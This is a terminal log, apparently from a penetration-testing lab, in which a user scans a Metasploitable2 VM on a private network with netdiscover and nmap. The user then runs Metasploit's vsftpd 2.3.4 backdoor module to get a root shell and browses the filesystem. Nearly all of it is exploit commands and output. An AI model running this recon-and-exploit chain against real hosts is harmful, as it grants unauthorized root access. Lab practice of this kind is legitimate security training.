┌─[✗]─[root@anon]─[~]
└──╼ #netdiscover
Currently scanning: 192.168.84.0/16 | Screen View: Unique Hosts
2 Captured ARP Req/Rep packets, from 2 hosts. Total size: 84
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.100 08:00:27:9b:6b:84 1 42 PCS Systemtechnik GmbH
192.168.56.102 08:00:27:72:d4:54 1 42 PCS Systemtechnik GmbH
┌─[✗]─[root@anon]─[~]
└──╼ #nmap -A 192.168.56.102
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-19 20:09 JST
Nmap scan report for 192.168.56.102
Host is up (0.00028s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.56.1
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
|_ssl-date: 2021-06-19T11:00:10+00:00; -9m36s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ SSL2_RC4_128_WITH_MD5
53/tcp open domain ISC BIND 9.4.2
| dns-nsid:
|_ bind.version: 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/udp nfs
| 100005 1,2,3 46123/udp mountd
| 100005 1,2,3 57805/tcp mountd
| 100021 1,3,4 50005/tcp nlockmgr
| 100021 1,3,4 55176/udp nlockmgr
| 100024 1 50717/tcp status
|_ 100024 1 52902/udp status
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open shell Netkit rshd
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
| mysql-info:
| Protocol: 10
| Version: 5.0.51a-3ubuntu5
| Thread ID: 8
| Capabilities flags: 43564
| Some Capabilities: LongColumnFlag, SwitchToSSLAfterHandshake, SupportsCompression, Support41Auth, SupportsTransactions, Speaks41ProtocolNew, ConnectWithDatabase
| Status: Autocommit
|_ Salt: G,EU\OVC+L}Sd!o3MhGe
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2021-06-19T11:00:10+00:00; -9m36s from scanner time.
5900/tcp open vnc VNC (protocol 3.3)
| vnc-info:
| Protocol version: 3.3
| Security types:
|_ VNC Authentication (2)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
MAC Address: 08:00:27:72:D4:54 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 50m24s, deviation: 2h00m00s, median: -9m36s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: metasploitable
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: metasploitable.localdomain
|_ System time: 2021-06-19T07:00:02-04:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE
HOP RTT ADDRESS
1 0.28 ms 192.168.56.102
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.15 seconds
┌─[root@anon]─[~]
└──╼ #ftp
ftp> 192.168.56.102
?Invalid command
ftp> FTP192.168.56.102
?Invalid command
ftp> open 192.168.56.102
Connected to 192.168.56.102.
220 (vsFTPd 2.3.4)
Name (192.168.56.102:snowyowl): exit
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> ^C
ftp> bye
221 Goodbye.
┌─[root@anon]─[~]
└──╼ #msfconsole
=[ metasploit v6.0.37-dev ]
+ -- --=[ 2111 exploits - 1136 auxiliary - 357 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 8 evasion ]
Metasploit tip: Metasploit can be configured at startup, see
msfconsole --help to learn more
msf6 > search vsFTPd 2.3.4
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.56.102
RHOST => 192.168.56.102
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.56.102 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.56.102:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.102:21 - USER: 331 Please specify the password.
[+] 192.168.56.102:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.102:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.56.102:6200) at 2021-06-19 20:15:42 +0900
whoami
root
/bin/bash -i ←対話モードに入る
bash: no job control in this shell
root@metasploitable:/home/ftp# ls
root@metasploitable:/home/ftp# cd ../
root@metasploitable:/home# ls
ftp
msfadmin
service
user
root@metasploitable:/home# cd ../
root@metasploitable:/# pwd
/
root@metasploitable:/# date
Sat Jun 19 07:08:28 UTC 2021
root@metasploitable:/# hostname
metasploitable
root@metasploitable:/# hostname --l
metasploitable.localdomain
root@metasploitable:/#
